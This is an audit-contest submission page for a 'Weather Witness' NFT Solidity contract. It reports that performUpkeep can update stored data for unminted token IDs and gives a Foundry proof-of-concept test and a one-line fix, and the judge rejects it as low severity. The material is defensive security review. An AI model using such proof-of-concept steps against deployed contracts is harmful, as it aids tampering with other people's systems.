Weather Witness
First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Impact: low
Likelihood: low
Invalid

`s_weatherNftInfo::infoLastFulfilledAt` can be updated for nft tokenId that are not minted yet. This is caused by a lack of check in the `performUpkeep` function of the `WeatherNft` contract.

franzops

Root + Impact

The lack of check in the WeatherNft::performUpkeep function allows to call a performUpkeep on a tokenId that is not minted yet. This can lead to a situation where the s_weatherNftInfo::infoLastFulfilledAt is updated for tokenId that are not minted yet.

Description

The performUpkeep function does not check if the tokenId is minted before calling performUpkeep. This means the contract can call performUpkeep on a tokenId that is not minted yet. This can lead to a situation where the s_weatherNftInfo::infoLastFulfilledAt is updated for tokenId that are not minted yet.

Risk

Likelihood: LOW

  • It is improbable that a user will call performUpkeep on a tokenId that is not minted yet.

Impact: LOW

  • The s_weatherNftInfo::infoLastFulfilledAt param is however overwritten when the tokenId will be minted.

Proof of Concept

  1. The attacker calls performUpkeep performUpkeep on a tokenId that is not minted yet.

  2. The contract requests the weather update for the tokenId that is not minted yet.

  3. The contract updates the s_weatherNftInfo::infoLastFulfilledAt for the tokenId with block.timestamp actual value.

function test_performUpKeep_Bad_Params() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
​
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
​
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
​
(
uint256 reqHeartbeat,
address reqUser,
bool reqRegisterKeeper,
uint256 reqInitLinkDeposit,
string memory reqPincode,
string memory reqIsoCode
) = weatherNft.s_funcReqIdToUserMintReq(reqId);
​
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
​
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
vm.prank(user);
weatherNft.fulfillMintRequest(reqId);
​
// ------------------------------ FAKING THE PERFORM UPKEEP FOR NON MINTED TOKEN ------------------------------
uint256 tokenIdMalicious = 112;
// Asserting that we are using a tokenId that does not exist
assert(weatherNft.s_tokenCounter() != tokenIdMalicious);
vm.expectRevert();
weatherNft.ownerOf(tokenIdMalicious);
​
(
uint256 infoHeartbeat_b,
uint256 infoLastFulfilledAt_b,
uint256 infoUpkeepId_b,
string memory infoPincode_b,
string memory infoIsoCode_b
) = weatherNft.s_weatherNftInfo(112);
​
bytes memory encodedMaliciousTokenId = abi.encode(112);
​
vm.recordLogs();
weatherNft.performUpkeep(encodedMaliciousTokenId);
​
// fetching request id
Vm.Log[] memory entries = vm.getRecordedLogs();
uint256 tokenIdToUpdate;
bytes32 tokenIdUpdateReq;
for (uint256 i; i < entries.length; i++) {
if (entries[i].topics[0] == keccak256("NftWeatherUpdateRequestSend(uint256,bytes32,uint256)")) {
(tokenIdToUpdate, tokenIdUpdateReq) = abi.decode(entries[i].data, (uint256, bytes32));
break;
}
}
​
// Retrieving the Nft infor mation for the tokenId that does not exist
(
uint256 infoHeartbeat_a,
uint256 infoLastFulfilledAt_a,
uint256 infoUpkeepId_a,
string memory infoPincode_a,
string memory infoIsoCode_a
) = weatherNft.s_weatherNftInfo(112);
​
vm.prank(functionsRouter);
bytes memory newWeatherResponse = abi.encode(WeatherNftStore.Weather.CLOUDY);
weatherNft.handleOracleFulfillment(tokenIdUpdateReq, newWeatherResponse, "");
​
// Assert that we changed the LastFulfilledAt of a tokenId that does not exist
assertNotEq(infoLastFulfilledAt_a, infoLastFulfilledAt_b);
}

Recommended Mitigation

Consider adding a check to ensure that the nft exists before calling performUpkeep.

function performUpkeep(bytes calldata performData) external override {
uint256 _tokenId = abi.decode(performData, (uint256));
+ require(_ownerOf(_tokenId) != address(0), "The nft does not exist");
uint256 upkeepId = s_weatherNftInfo[_tokenId].upkeepId;
​
s_weatherNftInfo[_tokenId].lastFulfilledAt = block.timestamp;
​
. . .
}
Updates

Appeal created

bube Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.